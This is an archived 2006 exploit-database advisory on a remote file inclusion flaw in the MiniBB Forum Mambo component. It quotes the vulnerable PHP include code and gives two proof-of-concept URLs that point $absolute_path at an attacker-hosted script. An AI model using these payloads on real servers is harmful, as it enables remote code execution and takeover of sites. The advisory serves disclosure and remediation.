Mambo Component MiniBB 1.5a - Remote File Inclusion

EDB-ID:

2030

Author:

Matdhule

Type:

webapps

Platform:

PHP

Published:

2006-07-17

---------------------------------------------------------------------------------------------

MiniBB Forum Mambo Component <= 1.5a Remote File Include Vulnerabilities
-----------------------------------------------------------------------------------------------

 
Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 14th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv39-matdhule-2006.txt
                  http://www.securityfocus.com/bid/18998
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------

 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# MiniBB Forum

Application     : MiniBB Forum (com_minibb.php & index.php)
version         : 1.5a

------------------------------------------------------------------------

 
Vulnerability:
~~~~~~~~~~~~~~~
 
# MiniBB Forum

In folder components we found vulnerability script com_minibb.php.

-----------------------com_minibb.php-----------------------------------
...................

If ($current=="bb_admin"){
  include("$absolute_path/components/minibb/bb_admin.php");
} else {
  include("$absolute_path/components/minibb/index.php");
...................

------------------------------------------------------------------------

In folder minibb we found vulnerability script index.php.

-----------------------index.php----------------------------------------
..............................

define ('INCLUDED776',1);

include ($absolute_path.'/components/minibb/setup_options.php');
if (isset($HTTP_COOKIE_VARS[$cookiename.'Language']) and $langCook=${$cookiename.'Language'}) { if
(file_exists("$absolute_path/components/minibb/lang/{$langCook}.php")) $lang=$langCook; }
include ($absolute_path.'/components/minibb/setup_'.$DB.'.php');
..............................

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/minibb/index.php?absolute_path= http://attacker.com/evil.txt?

Solution:
~~~~~~~~
 
sanitize variabel $absolute_path.
 
 
------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~
 
     matdhule[at]gmail[dot]com
     
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# milw0rm.com [2006-07-17]